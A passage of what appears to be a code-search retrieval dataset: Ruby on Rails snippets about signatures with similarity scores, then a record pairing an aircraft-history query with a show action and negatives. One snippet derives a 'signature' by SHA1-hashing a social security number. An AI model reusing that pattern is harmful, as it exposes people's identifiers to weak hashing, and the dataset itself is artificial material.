"def set_signature_error(error)\n @invalid_signature_error ||= error.is_a?(SnippetRepository::InvalidSignatureError)\n end",
"def signature(klass)\n signatures[klass]\n end",
"def set_signing_information(opts)\n opts = check_params(opts,[:signers])\n super(opts)\n end",
"def tsig=(*args)\r\n @tsig = SingleResolver.get_tsig(args)\r\n end",
"def create_signature_hashes\n if !self.manager_sign_username.blank?\n manager = User.find_by_username_and_store_id(self.manager_sign_username, Thread.current['user'].store_id)\n self.manager_signer = manager\n self.manager_signature_hash = Digest::SHA1.hexdigest(\"--#{manager.social_security_number}--#{self.instance.created_at}--\")\n self.manager_signature_date = Time.now\n self.save_status = self.save_status.to_s + \" Store Manager signature accepted. Reload this page to see the digital fingerprint.\"\n end\n\n if !self.regional_sign_username.blank?\n regional = Admin.find_by_username(self.regional_sign_username)\n self.regional_signer = regional\n self.regional_signature_hash = Digest::SHA1.hexdigest(\"--#{regional.social_security_number}--#{self.instance.created_at}--\")\n self.regional_signature_date = Time.now\n self.save_status = self.save_status.to_s + \" Regional Manager signature accepted. Reload this page to see the digital fingerprint.\"\n end\n end",
"def add_signatures\n if @data_signature then\n @tar_writer.add_file 'data.tar.gz.sig', 0644 do |io|\n io.write @data_signature\n end\n end\n\n if @meta_signature then\n @tar_writer.add_file 'metadata.gz.sig', 0644 do |io|\n io.write @meta_signature\n end\n end\n end",
"def function_semantics=(function_semantics)\n if !function_semantics.nil? &&\n !function_semantics.is_a?(BELParser::Language::Signature)\n raise(\n ArgumentError,\n 'function_semantics: expected nil or Signature')\n end\n assign_properties(function_semantics: function_semantics)\n end",
"def verify_signatures?; end",
"def user_signature_params\n params.require(:user_signature).permit(:name, :description, :signature)\n end",
"def signature\n @signature || ''\n end",
"def signature_params\n params.require(:signature).permit(:signorityId, :userId, :value, :encryptedPublicKey, :signatureDate)\n\n end",
"def validate_signature!(signature, data)\n raise InvalidSignature unless valid_signature?(signature, data)\n end",
"def signature_fields\n parsed {\n @signature_fields\n }\n end",
"def signature_url=(signature_url)\n pattern = Regexp.new(/^https:\\/\\/lob-assets\\.com\\/(letters|postcards|bank-accounts|checks|self-mailers|cards)\\/[a-z]{3,4}_[a-z0-9]{15,16}(\\.pdf|_thumb_[a-z]+_[0-9]+\\.png)\\?(version=[a-z0-9-]*&)?expires=[0-9]{10}&signature=[a-zA-Z0-9_-]+$/)\n if !signature_url.nil? && signature_url !~ pattern\n fail ArgumentError, \"invalid value for \\\"signature_url\\\", must conform to the pattern #{pattern}.\"\n end\n\n @signature_url = signature_url\n end",
"def set_digital_signature\n @digital_signature = DigitalSignature.find(params[:id])\n end",
"def create\n @signature = Signature.new(signature_params)\n @signature.save\n\n respond_to do |format|\n if @signature.save\n #format.html { redirect_to @signature, notice: 'Signature was successfully created.' }\n format.json { render :json => @signature.to_json({}) }\n else\n format.html { render action: 'new' }\n format.json { render json: @signature.errors, status: :unprocessable_entity }\n end\n\n end\n\n end",
"def create\n @signature = Signature.new(params[:signature])\n if current_resident\n @signature.signatory = current_resident\n elsif current_person\n @signature.signatory = current_person\n end\n\n respond_to do |format|\n if @signature.save\n format.html { \n if current_person.andand.has_not_signed_waivers?\n redirect_to waivers_path, notice: 'We received your signature. Please continue to sign the remaining waivers.'\n else\n redirect_to volunteer_introduction_url\n end\n }\n format.json { render json: @signature, status: :created, location: @signature }\n else\n format.html { render action: \"new\" }\n format.json { render json: @signature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def matches_signature(signature)\n @name == signature.name\n end",
"def signer=(signer)\n if !signer.nil? && signer.to_s.length < 0\n fail ArgumentError, 'invalid value for \"signer\", the character length must be great than or equal to 0.'\n end\n\n @signer = signer\n end",
"def update\n respond_to do |format|\n if @signature.update(signature_params)\n format.html { redirect_to @signature, notice: 'Signature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @signature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_sign\n @sign = Sign.find(params[:id])\n end",
"def update\n @signature = Signature.find(params[:id])\n\n respond_to do |format|\n if @signature.update_attributes(params[:signature])\n format.html { redirect_to @signature, notice: 'Signature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @signature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @signature = Signature.find(params[:id])\n\n respond_to do |format|\n if @signature.update_attributes(params[:signature])\n format.html { redirect_to @signature, notice: 'Signature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @signature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def handle(signature, callback = nil, &bl)\n if signature.is_a?(Array)\n signature.each { |s| handle(s, callback, &bl) }\n return self\n end\n @handlers[signature] = callback unless callback.nil?\n @handlers[signature] = bl unless bl.nil?\n self\n end",
"def update_signatures(request)\n data, _status_code, _headers = update_signatures_with_http_info(request)\n data\n end",
"def previous_signature?; end",
"def method_sigs\n @method_sigs\n end",
"def signature\n memoized_info[:signature]\n end",
"def create\n\n @signature = Signature.new(params[:signature])\n\n respond_to do |format|\n if @signature.save\n format.html { redirect_to(@signature, :notice => 'Signature was successfully created.') }\n format.xml { render :xml => @signature, :status => :created, :location => @signature }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @signature.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def is_subscript!(signature)\n @sub_sig = signature\n @subscript = true\n end",
"def script_sig=(script_sig)\n @script_sig_length = script_sig.bytesize\n @script_sig = script_sig\n end",
"def aggregate_signatures(signatures)\n raise BLS::Error, 'Expected non-empty array.' if signatures.empty?\n\n signatures.map { |s| BLS.norm_p2(s) }.inject(PointG2::ZERO) { |sum, s| sum + s }\n end",
"def signature_types(meth, link = T.unsafe(nil)); end",
"def set_petition_on_creator_signature\n self.creator_signature.update_attribute(:petition_id, self.id)\n end",
"def signature_file=(content_raw)\n _set_signature_file(content_raw)\n end",
"def updated_signatures\n\t\tsignatures = {}\n\n\t\texecute_xpath('//dss:UpdatedSignature').each do |updated_signature|\n\t\t\tform = updated_signature.attributes['Type']\n\t\t\tform =:default if form.nil? #signature updated by the default service policy currently an ES-C\n\t\t\tsignatures[form] = REXML::Document.new(updated_signature.children[0].children[0].to_s)\n\t\tend\n\n\t\treturn signatures\n\tend",
"def signature\n if block_given?\n @signature = Signature.new(self, &Proc.new) \n @signature.install\n options do |opt|\n signature.fill_option_parser(opt, self)\n end\n else\n @signature ||= Signature.new(self)\n end\n end",
"def create\n @signature = Signature.new(params[:signature])\n\n respond_to do |format|\n if @signature.save\n format.html { redirect_to(@signature, :notice => 'La asignatura se ha creado correctamente.') }\n format.xml { render :xml => @signature, :status => :created, :location => @signature }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @signature.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7683351",
"0.7348437",
"0.66040623",
"0.66040623",
"0.66040623",
"0.66023916",
"0.66023916",
"0.66023916",
"0.66023916",
"0.66023916",
"0.66023916",
"0.66023916",
"0.66023916",
"0.65695566",
"0.65695566",
"0.65695566",
"0.65695566",
"0.65695566",
"0.65695566",
"0.65695316",
"0.65695316",
"0.63571763",
"0.63571763",
"0.62882924",
"0.62882924",
"0.623808",
"0.6233391",
"0.60640335",
"0.59584147",
"0.59584147",
"0.59485394",
"0.592142",
"0.58235013",
"0.57999927",
"0.5794721",
"0.5794721",
"0.57451504",
"0.57216716",
"0.5651488",
"0.56487733",
"0.56487733",
"0.56487733",
"0.56487733",
"0.56487733",
"0.56487733",
"0.56487733",
"0.56487733",
"0.56487733",
"0.56487733",
"0.56086683",
"0.56086683",
"0.56086683",
"0.56086683",
"0.55887204",
"0.5563469",
"0.5507472",
"0.5487247",
"0.5481741",
"0.5447551",
"0.544594",
"0.5416582",
"0.53811944",
"0.53543884",
"0.5327665",
"0.53184265",
"0.5317264",
"0.52802277",
"0.52740127",
"0.5260127",
"0.5240378",
"0.5237243",
"0.5231702",
"0.5217149",
"0.5207834",
"0.51549023",
"0.51529706",
"0.5094561",
"0.5089343",
"0.5087135",
"0.50816727",
"0.50786084",
"0.5067758",
"0.5063694",
"0.5045382",
"0.5045382",
"0.5013396",
"0.5009115",
"0.50073206",
"0.5002286",
"0.49897832",
"0.49844068",
"0.4982197",
"0.49678195",
"0.4962674",
"0.4958235",
"0.4945329",
"0.49445271",
"0.49420768",
"0.49106824",
"0.49004808"
] |
0.5551469
|
55
|
GET /aircraft_histories/1 GET /aircraft_histories/1.xml
|
def show
@aircraft_history = AircraftHistory.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @aircraft_history }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def rss\n @event = Event.find_by_key(params['id'])\n @histories = @event.histories(:order => 'created_at DESC')\n render :layout => false\n response.headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"def index\n #@histories = History.all\n @histories = History.find( :all, :limit => 100, :order => \"id DESC\" )\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @histories }\n end\n end",
"def index\n @accessories = Accessory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @accessories }\n end\n end",
"def index\n @airlines = Airline.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @airlines }\n end\n end",
"def index\n @settlement_histories = Settlement::History.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @settlement_histories }\n end\n end",
"def new\n @aircraft_history = AircraftHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aircraft_history }\n end\n end",
"def show\n @vehicle_historic = VehicleHistoric.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vehicle_historic }\n end\n end",
"def index\n @water_histories = WaterHistory.all\n end",
"def index\n @article_histories = ArticleHistory.all\n end",
"def index\n @thermostat_histories = ThermostatHistory.all\n end",
"def index\n @harvest_histories = HarvestHistory.all\n end",
"def history\n rest.get stats_path(:history) do |response|\n response_handler response\n end\n end",
"def index\n @historics = Historic.all\n end",
"def show\n @arc = Arc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @arc.to_xml(:except => [ :created_at, :updated_at ], :include => :tahs) }\n end\n end",
"def show\n @hpt_history = HptHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hpt_history }\n end\n end",
"def show\n @historial_odt = HistorialOdt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial_odt }\n end\n end",
"def index\n @aircraft_models = AircraftModel.all(:order => :name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @aircraft_models }\n end\n end",
"def index\n @historials = Historial.all\n end",
"def index\n @historials = Historial.all\n end",
"def index\n @historials = Historial.all\n end",
"def history(params)\n Client.current.get(\"#{resource_url}/candles\", params)\n end",
"def index\n @node_histories = NodeHistory.all\n end",
"def show\n @airline = Airline.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @airline }\n end\n end",
"def index\n @area_histories = AreaHistory.all\n end",
"def show\n @historical = Historical.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historical }\n end\n end",
"def index\n @kondate_histories = KondateHistory.all\n end",
"def index\n @traffics = Traffic.find(:all, :order => \"created_at\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @traffics }\n end\n end",
"def index\n @installation = Installation.find(params[:installation_id]) \n @eats = @installation.eats.find(:all, :order => 'name')\n \n @neighborhoods = @installation.neighborhoods\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @eats }\n end\n end",
"def index\n @illness_histories = current_user.illness_histories.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def hist\n @hist = History.where(:asset_id => @asset)\n render layout: false\n end",
"def index\n @molpay_transaction_histories = MolpayTransactionHistory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @molpay_transaction_histories }\n end\n end",
"def show\n @historial = Historial.find(params[:id])\n @receta = Recete.histori(@historial.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial }\n end\n end",
"def index\n @dating_histories = DatingHistory.all\n end",
"def show\n @audit_log = AuditLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @audit_log }\n end\n end",
"def create\n @aircraft = Aircraft.find(params[:aircraft_id])\n @aircraft_history = @aircraft.aircraft_histories.create(params[:aircraft_history])\n redirect_to aircraft_path(@aircraft)\n end",
"def index\n @weight_histories = WeightHistory.all\n end",
"def rss\n @logs = RssLog.includes(:name, :species_list, observation: :name).\n where(\"datediff(now(), updated_at) <= 31\").\n order(updated_at: :desc).\n limit(100)\n\n render_xml(layout: false)\n end",
"def show\n @illness_history = current_user.illness_histories.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"def index\n @originating_histories = OriginatingHistory.all\n end",
"def index\n @fundamentals_histories = @company.fundamentals_histories.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fundamentals_histories }\n end\n end",
"def rss # :nologin:\n @logs = RssLog.all(conditions: \"datediff(now(), updated_at) <= 31\",\n order: \"updated_at desc\", limit: 100,\n include: [:name,\n :species_list,\n { observation: :name }\n ])\n render_xml(layout: false)\n end",
"def index\n @compliances = Compliance.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @compliances }\n end\n end",
"def index\n @visit_histories = VisitHistory.all\n end",
"def index\n @attendance_histories = AttendanceHistory.all\n end",
"def history\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end",
"def index\n @inventories = current_company.inventories.find_all_by_job_id(params[:job_id])\n respond_to do |format|\n format.xml{ render :xml => @inventories }\n format.json{ render :json => @inventories }\n end\n end",
"def index\n init_au_states(:all);\n @archival_units = ArchivalUnit.find_by_states(@states); \n respond_to do |format|\n format.html {}\n format.xml { render :xml => ArchivalUnit.to_xml(:au_list => @archival_units, :skip_instruct => true) }\n end\n end",
"def index\n @compliances = Compliance.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @compliances }\n end\n end",
"def index\n @stories = Story(:all, :order => 'value')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stories }\n end\n end",
"def index\n @habitats = @city.habitats.find(:all)\n @total_habitats = @city.habitats.count \n \n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @habitats.to_xml }\n end\n end",
"def index\n @hikiyamas = @omatsuri.hikiyamas\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @hikiyamas }\n format.json { render :json => @hikiyamas }\n end\n end",
"def show\n @fundamentals_history = @company.fundamentals_histories.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fundamentals_history }\n end\n end",
"def show\n @aircraft_model = AircraftModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aircraft_model }\n end\n end",
"def show\n @employee_position_hist = EmployeePositionHist.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @employee_position_hist.to_xml }\n end\n end",
"def index\n @pediatric_histories = PediatricHistory.all\n end",
"def index\n # todo: 「内容」をクリックしたらcolorboxか別ページで表示して、コメントはそこでできるように。一覧ではコメント数は表示する\n @histories = History.includes_all\n @history = History.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @histories }\n end\n end",
"def index\n @accessories = Accessory.all\n end",
"def show\n\t\t@hra = Hra.find(params[:id])\n \trespond_to do |format|\t\t\n \t\t format.html \n \t\t\tformat.xml { render :xml => @hras }\t\t#Render to XML File\n \tend\n\tend",
"def index\n @agents = @habitat.agents.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @agents.to_xml }\n end\n end",
"def index\n @sales_tax_exemption_customer_histories = SalesTaxExemptionCustomerHistory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sales_tax_exemption_customer_histories }\n end\n end",
"def index\n @track_appearances = TrackAppearance.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @track_appearances }\n end\n end",
"def show\r\n @position_hist = PositionHist.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.rhtml\r\n format.xml { render :xml => @position_hist.to_xml }\r\n end\r\n end",
"def index\n @ganglia_graphs = GangliaGraph.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ganglia_graphs }\n end\n end",
"def index\n @historicals = @project.historical\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @historicals }\n end\n end",
"def index\n @drink_histories = DrinkHistory.first(100)\n end",
"def index\n @aluminis = Alumini.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @aluminis }\n end\n end",
"def index\r\n @medical_histories = MedicalHistory.all\r\n end",
"def index\r\n @medical_histories = MedicalHistory.all\r\n end",
"def show\n @employment_history = EmploymentHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @employment_history }\n end\n end",
"def airport(id)\n perform_get(\"/airports/#{id}.xml\")\n end",
"def show\n @airport = Airport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @airport }\n end\n end",
"def airline(id)\n perform_get(\"/airlines/#{id}.xml\")\n end",
"def index\n @subways = Subway.find(:all, :order => \"day, hour\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subways }\n end\n end",
"def index\n @medical_histories = MedicalHistory.all\n end",
"def index\n @medical_histories = MedicalHistory.all\n end",
"def index\n @points_histories = PointsHistory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @points_histories }\n end\n end",
"def index\n @service_histories = ServiceHistory.all\n end",
"def show\n @rate_change_history = RateChangeHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rate_change_history }\n end\n end",
"def index\n @stats = Stat.where(:match_id => params[:match_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stats }\n end\n end",
"def index\n @reading_histories = current_user.reading_histories.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reading_histories }\n end\n end",
"def index\n @bowls = Bowl.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bowls }\n end\n end",
"def index\n @stories = Story.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stories }\n end\n end",
"def index\n @az_tariffs = AzTariff.find(:all, :order => 'position')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @az_tariffs }\n end\n end",
"def index\n @issue_histories = IssueHistory.all\n end",
"def retrieve_rates(date)\n path = \"http://openexchangerates.org/api/historical/#{date.to_s}.json?app_id=#{$app_id}\"\n response = Net::HTTP.get_response(URI.parse path)\n # TODO: error handling\n response.body\nend",
"def index\n @landings = Landing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @landings }\n end\n end",
"def index\n @invoice_histories = InvoiceHistory.all\n end",
"def show\n @action_log = ActionLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @action_log }\n end\n end",
"def index\n @hike_stories = HikeStory.all\n @main_header = \"Hike Write-ups\" \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @hike_stories }\n end\n end",
"def index\n @inventory_details = InventoryDetail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @inventory_details }\n end\n end",
"def index\n @car = Car.find(params[:car_id])\n @assets = @car.assets\n\n respond_to do |format|\n format.xml {render xml: @assets}\n format.json {render json: @assets}\n end\n end",
"def index\n @helibases = Helibase.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @helibases }\n end\n end",
"def index\n @latestinfos = Latestinfo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @latestinfos }\n end\n end",
"def index\n @archivs = Archiv.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @archivs }\n end\n end",
"def show\n @hr = Hr.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hr }\n end\n end",
"def index\n @entries = Entry.find_all_by_time(params[:date], :order => :created_at)\n @entry ||= Entry.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def index\n @sales_histories = SalesHistory.all\n end",
"def index\n @entries = @resource_finder.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def show\n @haiku = Haiku.find(params[:id])\n\n respond_to { |format|\n format.html # show.rhtml\n format.xml {\n\trender :xml => @haiku.to_xml\n }\n }\n end",
"def show\n @arrendimientospago = Arrendimientospago.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @arrendimientospago }\n end\n end"
] |
[
"0.69748545",
"0.66913915",
"0.66322863",
"0.6499734",
"0.64886814",
"0.63193476",
"0.622778",
"0.62066996",
"0.61777604",
"0.61715925",
"0.614232",
"0.6087778",
"0.60778946",
"0.607693",
"0.60368115",
"0.6023199",
"0.6017405",
"0.59801674",
"0.5979623",
"0.5979623",
"0.5978712",
"0.59705985",
"0.59699816",
"0.59657604",
"0.5937339",
"0.59179914",
"0.59096646",
"0.58904546",
"0.5883255",
"0.58777064",
"0.5849675",
"0.5828675",
"0.58183014",
"0.5816677",
"0.58057183",
"0.5793094",
"0.57894665",
"0.57892686",
"0.57840294",
"0.5764743",
"0.57595533",
"0.57479477",
"0.57393193",
"0.57379586",
"0.5733028",
"0.57304937",
"0.5722568",
"0.5719557",
"0.57156384",
"0.5710174",
"0.57006884",
"0.56989545",
"0.5696298",
"0.56850684",
"0.56811106",
"0.5679571",
"0.5676211",
"0.5669871",
"0.56697613",
"0.5669391",
"0.5659757",
"0.5657365",
"0.5657082",
"0.56552833",
"0.56529135",
"0.56459296",
"0.5645421",
"0.5645421",
"0.56439036",
"0.5643603",
"0.5643522",
"0.56429654",
"0.56407195",
"0.5639083",
"0.5639083",
"0.5633147",
"0.56328636",
"0.56257004",
"0.5623989",
"0.5623172",
"0.56230795",
"0.561958",
"0.5618822",
"0.5618012",
"0.56176484",
"0.56172323",
"0.56153035",
"0.5604056",
"0.5603408",
"0.5602288",
"0.56005096",
"0.56000674",
"0.5595399",
"0.55918366",
"0.55896705",
"0.5587139",
"0.5586033",
"0.55847824",
"0.5578968",
"0.5578333"
] |
0.704304
|
0
|
GET /aircraft_histories/new GET /aircraft_histories/new.xml
|
def new
@aircraft_history = AircraftHistory.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @aircraft_history }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @aircraft = Aircraft.find(params[:aircraft_id])\n @aircraft_history = @aircraft.aircraft_histories.create(params[:aircraft_history])\n redirect_to aircraft_path(@aircraft)\n end",
"def new\n @hpt_history = HptHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hpt_history }\n end\n end",
"def new\n @airline = Airline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @airline }\n end\n end",
"def new\n @aircraft_model = AircraftModel.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aircraft_model }\n end\n end",
"def new\n @vehicle_historic = VehicleHistoric.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vehicle_historic }\n end\n end",
"def new\n @historico = Historico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @historico }\n end\n end",
"def new\n @historical = Historical.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @historical }\n end\n end",
"def new\n @machine_historic = MachineHistoric.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @machine_historic }\n end\n end",
"def new\n @historial = Historial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @historial }\n end\n end",
"def new\n @historial_odt = HistorialOdt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @historial_odt }\n end\n end",
"def new\n @illness_history = IllnessHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n @audit_log = AuditLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @audit_log }\n end\n end",
"def new\n @title = \"New Artefact\"\n @artefact = Artefact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @artefact }\n end\n end",
"def new\n @accessory = Accessory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @accessory }\n end\n end",
"def new\n @accessory = Accessory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @accessory }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end",
"def new\n @housing = Housing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @housing }\n end\n end",
"def new\n @traffic = Traffic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @traffic }\n end\n end",
"def new\n @settlement_history = Settlement::History.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @settlement_history }\n end\n end",
"def new\n @hr = Hr.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hr }\n end\n end",
"def new\n @buying_history = BuyingHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @buying_history }\n end\n end",
"def new\n @history_point = HistoryPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @history_point }\n end\n end",
"def new\n @orc_ata = OrcAta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @orc_ata }\n end\n end",
"def new\n @payment_history = PaymentHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @payment_history }\n end\n end",
"def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end",
"def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end",
"def new\n @arrendimientospago = Arrendimientospago.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @arrendimientospago }\n end\n end",
"def new\n @olark = Olark.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @olark }\n end\n end",
"def new\n @universe = Universe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @universe }\n end\n end",
"def new\n @hazard = Hazard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hazard }\n end\n end",
"def new\n @operation_history = OperationHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @operation_history }\n end\n end",
"def new\n @asset_allocation_history = AssetAllocationHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @asset_allocation_history }\n end\n end",
"def new\n @archiv = Archiv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @archiv }\n end\n end",
"def new\n @category_history = CategoryHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category_history }\n end\n end",
"def new\n @airport_visit = AirportVisit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @airport_visit }\n end\n end",
"def new\n expire_page :action => :index\n expire_page :action => :show\n \n @ganglia_graph = GangliaGraph.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ganglia_graph }\n end\n end",
"def new\n @activity_inventory = ActivityInventory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @activity_inventory }\n end\n end",
"def new\n @arc = Arc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @arc }\n end\n end",
"def new\n logger.debug 'new_some interesting information'\n @comdty = Comdty.new\n setvariables\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @comdty }\n end\n end",
"def new\n @archive = Archive.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @archive }\n end\n end",
"def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"def new\n @gene_ontology = GeneOntology.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gene_ontology }\n end\n end",
"def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end",
"def new\n @intelligence = Intelligence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @intelligence }\n end\n end",
"def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lease }\n end\n end",
"def create\n @historical = Historical.new(params[:historical])\n\n respond_to do |format|\n if @historical.save\n format.html { redirect_to @historical, notice: 'Historical was successfully created.' }\n format.json { render json: @historical, status: :created, location: @historical }\n else\n format.html { render action: \"new\" }\n format.json { render json: @historical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @shelf = Shelf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shelf }\n end\n end",
